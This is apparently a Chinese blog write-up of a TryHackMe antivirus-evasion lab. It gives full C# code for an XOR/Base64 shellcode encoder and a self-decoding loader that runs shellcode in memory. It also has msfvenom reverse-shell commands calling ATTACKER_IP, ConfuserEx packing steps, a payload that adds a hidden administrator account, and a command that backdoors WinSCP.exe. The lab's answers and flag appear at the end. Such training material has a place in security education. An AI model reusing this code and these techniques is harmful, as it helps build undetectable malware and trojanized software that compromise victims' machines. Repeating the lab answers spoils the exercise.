编码和加密可用于AV规避技术,在这种技术中,我们对投放器中使用的 shellcode 进行编码和/或加密,以在运行时将其隐藏在 AV 软件之外。此外,这两种技术不仅可以用来隐藏shellcode,还可以用来隐藏函数、变量等。在这个房间里,我们主要关注加密shellcode以逃避Windows Defender。

Shellcode编码与加密

使用 MSFVenom 编码

Metasploit 等公共工具提供编码和加密功能。但是,AV供应商知道这些工具构建有效负载并采取措施检测它们的方式。如果您尝试开箱即用地使用此类功能,则一旦文件接触到受害者的磁盘,您的有效负载很可能会被检测到。

让我们用这个方法生成一个简单的有效负载来证明这一点。 首先,您可以使用以下命令列出 msfvenom 可用的所有编码器:

user@AttackBox$ msfvenom --list encoders | grep excellent
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder

我们可以通过 (encoder) 开关指示我们想要使用shikata_ga_nai编码器-e,然后指定我们想要通过-i(iterations) 开关对有效载荷进行三次编码:

user@AttackBox$ msfvenom -a x86 --platform Windows LHOST=ATTACKER_IP LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f csharp

如果我们尝试将新生成的 payload 上传到我们的测试机器,AV会在我们有机会执行它之前立即对其进行标记:

如果编码不起作用,我们总是可以尝试加密负载。直觉上,我们预计这会有更高的成功率,因为​​解密有效载荷应该证明对AV来说是一项更艰巨的任务。让我们现在试试看。

使用 MSFVenom 加密

您可以使用 msfvenom 轻松生成加密的有效负载。然而,加密算法的选择有点少。要列出可用的加密算法,您可以使用以下命令:

user@AttackBox$ msfvenom --list encrypt

让我们构建一个 XOR 加密的有效载荷。对于这种类型的算法,您需要指定一个密钥。该命令如下所示:

user@AttackBox$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o xored-revshell.exe

再一次,如果我们将生成的 shell 上传到 THM Antivirus Check! 页面http://10.10.217.24/,它仍然会被AV标记。原因仍然是 AV 供应商投入了大量时间来确保检测到简单的 msfvenom 有效载荷。

创建自定义负载

克服这个问题的最好方法是使用我们自己的自定义编码方案,这样AV就不知道如何分析我们的有效载荷。请注意,您不必做任何太复杂的事情,只要它足以让 AV 进行分析即可。对于此任务,我们将采用由 msfvenom 生成的简单反向 shell,并结合使用 XOR 和 Base64 来绕过 Defender。

让我们首先使用 CSharp 格式的 msfvenom 生成一个反向 shell:

user@AttackBox$ msfvenom LHOST=ATTACKER_IP LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp

编码器

在构建我们的实际有效载荷之前,我们将创建一个程序,该程序将采用 msfvenom 生成的 shellcode 并以我们喜欢的任何方式对其进行编码。在这种情况下,我们将首先使用自定义密钥对有效负载进行异或运算,然后使用 base64 对其进行编码。下面是编码器的完整代码(您也可以在 Windows 计算机的 C:\Tools\CS Files\Encryptor.cs 中找到此代码):

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Encrypter
{
    internal class Program
    {
        private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
        static void Main(string[] args)
        {
            //XOR Key - It has to be the same in the Droppr for Decrypting
            string key = "THMK3y123!";

            //Convert Key into bytes
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);

            //Original Shellcode here (csharp format)
            byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };

            //XORing byte by byte and saving into a new array of bytes
            byte[] encoded = xor(buf, keyBytes);
            Console.WriteLine(Convert.ToBase64String(encoded));        
        }
    }
}

该代码非常简单,将生成一个编码的有效载荷,我们将其嵌入最终的有效载荷中。请记住将buf变量替换为您使用 msfvenom 生成的 shellcode。

要编译和执行编码器,我们可以在 Windows 机器上使用以下命令:

C:\> csc.exe Encrypter.cs
C:\> .\Encrypter.exe
qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=

自解码载荷

由于我们有一个编码的有效载荷,我们需要调整我们的代码,以便它在执行之前解码 shellcode。为了匹配编码器,我们将以与编码相反的顺序解码所有内容,因此我们首先解码 base64 内容,然后继续使用我们在编码器中使用的相同密钥对结果进行异或运算。这是完整的有效负载代码(您也可以在您的 Windows 机器上获取它,网址为C:\Tools\CS Files\EncStageless.cs):


using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;

public class Program {
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  
  private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
  public static void Main()
  {

    string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
    byte[] data = Convert.FromBase64String(dataBS64);

    string key = "THMK3y123!";
    //Convert Key into bytes
    byte[] keyBytes = Encoding.ASCII.GetBytes(key);

    byte[] encoded = xor(data, keyBytes);

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

请注意,我们只是组合了一些在单独使用时检测到的非常简单的技术。尽管如此,这次 AV 不会抱怨负载,因为这两种方法的组合不是它可以直接分析的东西。

让我们在 Windows 机器上使用以下命令编译我们的有效载荷:

C:\> csc.exe EncStageless.cs

在运行我们的有效负载之前,让我们设置一个nc侦听器。在将我们的 payload 复制并执行到受害机器后,我们应该按预期恢复连接:

user@AttackBox$ nc -lvp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from ip-10-10-139-83.eu-west-1.compute.internal 49817 received!
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\System32>

如您所见,有时简单的调整就足够了。大多数时候,您在网上找到的任何特定方法都可能无法立即使用,因为它们可能已经存在检测签名。然而,使用一点想象力来定制任何方法都足以成功绕过。

绕过了检测

Packers

另一种击败基于磁盘的 AV 检测的方法是使用加壳程序。Packers是将程序作为输入并对其进行转换的软件片段,因此其结构看起来不同,但它们的功能保持完全相同。Packers 这样做有两个主要目标:

  • 压缩程序,使其占用更少的空间。
  • 一般保护程序免受逆向工程。

加壳程序通常由希望保护其软件免遭逆向工程或破解的软件开发人员使用。他们通过实施包括压缩、加密、添加调试保护等在内的混合转换来实现某种程度的保护。正如您可能已经猜到的那样,加壳程序也常用于不费吹灰之力地混淆恶意软件。

那里有相当多的加壳器,包括 UPX、MPRESS、Themida 和许多其他加壳器。

打包应用程序

虽然每个打包器的操作方式都不同,但让我们看一个简单的打包器会做什么的基本示例。

当应用程序被打包时,它将使用打包功能以某种方式进行转换。打包功能需要能够以一种可以通过解包功能合理逆转的方式混淆和转换应用程序的原始代码,以便保留应用程序的原始功能。虽然有时加壳器可能会添加一些代码(例如,使应用程序的调试更加困难),但它通常希望能够取回您在执行时编写的原始代码。

应用程序的打包版本将包含您的打包应用程序代码。由于这个新的打包代码被混淆了,应用程序需要能够从中解压缩原始代码。为此,打包器将嵌入一个包含解包器的代码存根,并将可执行文件的主要入口点重定向到它。

当您的打包应用程序被执行时,将发生以下情况:

解包器首先执行,因为它是可执行文件的入口点。
解包器读取打包应用程序的代码。
解包器会将原始的解包代码写入内存中的某个位置,并将应用程序的执行流程定向到它。

包装工和 AV

到目前为止,我们可以看到加壳程序如何帮助绕过AV解决方案。假设您构建了一个反向 shell 可执行文件,但 AV 将其视为恶意文件,因为它与已知签名相匹配。在这种情况下,使用加壳程序将转换反向 shell 可执行文件,使其与磁盘上的任何已知签名不匹配。因此,您应该能够毫无问题地将有效负载分发到任何机器的磁盘。

然而,出于以下几个原因,AV解决方案仍然可以捕获您的打包应用程序:

  • 虽然您的原始代码可能会被转换成无法识别的东西,但请记住,打包后的可执行文件包含一个带有解包程序代码的存根。如果解包器有一个已知的签名,AV解决方案可能仍然会根据解包器存根单独标记任何打包的可执行文件。
  • 在某些时候,您的应用程序会将原始代码解压缩到内存中以便执行。如果您试图绕过的AV解决方案可以进行内存扫描,那么在您的代码解包后您可能仍会被检测到。

打包我们的 shellcode

让我们从基本的 C# shellcode 开始。您还可以在您的 Windows 机器中找到此代码

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

  public static void Main()
  {
    byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };


    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

此有效载荷采用由 msfvenom 生成的 shellcode 并将其运行到一个单独的线程中。为此,您需要生成一个新的 shellcode 并将其放入shellcode代码的变量中:

C:\> msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp

然后,您可以使用以下命令在 Windows 机器中编译您的有效负载:

C:\> csc UnEncStagelessPayload.cs

一旦你有一个工作的可执行文件,你可以尝试将它上传到 THM Antivirus Check!页面(桌面上的链接)。它应该立即被AV标记。让我们对相同的有效负载使用加壳器,看看会发生什么。

ConfuserEx 将要求您指明它将在其中运行的文件夹。请务必选择您的桌面作为基本目录,如下图所示。设置基本目录后,将要打包的可执行文件拖放到界面上,最终应该得到以下内容:

让我们转到设置选项卡并选择我们的有效负载。选择后,点击“+”按钮将设置添加到您的有效载荷。这应该创建一个名为“true”的规则。确保同时启用压缩:

我们现在将编辑“真”规则并将其设置为最大预设:

最后,我们将前往“保护!” 选项卡并点击“保护”:

新的有效负载应该准备就绪,并且希望在上传到 THM Antivirus Checker 时不会触发任何警报!(桌面上可用的快捷方式)。事实上,如果你执行你的有效载荷并设置一个nc监听器,你应该能够得到一个 shell:

user@attackbox$ nc -lvp 7478

到目前为止一切顺利,但还记得我们谈到过AV进行内存扫描吗?如果你尝试在你的反向 shell 上运行一个命令,杀毒软件会注意到你的 shell 并杀死它。这是因为 Windows Defender 将挂钩某些 Windows API 调用,并在使用此类 API 调用时进行内存扫描。对于使用 msfvenom 生成的任何 shell,将调用并检测 CreateProcess()。

很遗憾的时我在运行命令的时候并没有被杀毒软件杀死

所以我们现在怎么办?

虽然击败内存扫描超出了本会议室的范围,但您可以采取一些简单的措施来避免检测:

  • 稍等一下。尝试再次生成反向 shell 并等待大约 5 分钟,然后再发送任何命令。你会看到AV不会再抱怨了。这样做的原因是扫描内存是一项昂贵的操作。因此,AV 会在您的进程开始后执行一段时间,但最终会停止。

  • 使用较小的有效载荷。有效载荷越小,被检测到的可能性就越小。如果你使用 msfvenom 来执行单个命令而不是反向 shell,AV将更难检测到它。您可以尝试看看

msfvenom -a x64 -p windows/x64/exec CMD='net user pwnd Password321 /add;net localgroup administrators pwnd /add' -f csharp

如果检测不是问题,您甚至可以使用一个简单的技巧。从您的反向 shell 中,cmd.exe再次运行。AV将检测您的有效负载并终止相关进程,但不会终止您刚刚生成的新 cmd.exe。

粘合剂

虽然不是AV绕过方法,但在设计要分发给最终用户的恶意负载时,绑定器也很重要。活页夹是一种将两个(或更多)可执行文件合并为一个文件的程序。当您想要分发隐藏在另一个已知程序中的有效负载以欺骗用户相信他们正在执行另一个程序时,通常会使用它。

虽然每个绑定器的工作方式可能略有不同,但它们基本上会将您的 shellcode 代码添加到合法程序中并以某种方式执行。

例如,您可以更改 PE 标头中的入口点,以便您的 shellcode 在程序之前执行,然后在完成后将执行重定向回合法程序。这样,当用户单击生成的可执行文件时,您的 shellcode 将首先静默执行并继续正常运行程序,而不会引起用户的注意。

与 msfvenom 绑定

您可以使用msfvenom在任何.exe文件中轻松植入您喜欢的有效载荷。二进制文件仍将像往常一样工作,但会默默地执行额外的有效载荷。msfvenom使用的方法通过为其创建一个额外的线程来注入您的恶意程序,因此与之前提到的略有不同,但实现了相同的结果。拥有一个单独的线程甚至更好,因为如果您的shellcode因某种原因失败,您的程序将不会被阻塞。

对于这个任务,我们将在C:\ Tools \ WinSCP上可用的WinSCP可执行文件中创建后门。

要创建一个后门的WinSCP.exe,我们可以在我们的Windows机器上使用以下命令:

注意:为了方便起见,在Windows机器上安装了Metasploit,但生成有效载荷可能需要长达三分钟(可以安全地忽略产生的警告)。

msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe

生成的 WinSCP-evil.exe 将在用户不注意的情况下执行 reverse_tcp meterpreter 负载。首先,请记住设置一个nc侦听器以接收反向 shell。 当你执行你的后门可执行文件时,它应该向你启动一个反向 shell,同时继续为用户执行 WinSCP.exe:

粘合剂和AV

绑定器不会对AV解决方案隐藏您的有效负载。加入两个可执行文件而不做任何更改的简单事实意味着生成的可执行文件仍将触发原始有效负载所做的任何签名。

绑定器的主要用途是让用户相信他们正在执行合法的可执行文件而不是恶意负载。

在创建真正的有效负载时,您可能希望使用编码器、加密器或加壳器将您的 shellcode 隐藏在基于签名的 AV 中,然后将其绑定到已知的可执行文件中,这样用户就不知道正在执行什么。

随意尝试将绑定的可执行文件上传到 THM Antivirus Check 网站(桌面上的链接)而不进行任何打包,您应该从服务器返回检测结果,因此这种方法在尝试时不会有太大帮助自己从服务器获取标志。

挑战

随便使用上述的一个绕过的上传即可

VM 上运行了哪些防病毒软件?
Windows Defender

您有权访问的用户帐户的名称是什么?
av-victim

在受害机器上建立一个工作外壳并读取用户桌面上的文件。旗帜是什么?
THM{H3ll0-W1nD0ws-Def3nd3r!}
posted @ 2023-06-15 16:18  gvpn  阅读(171)  评论(0编辑  收藏  举报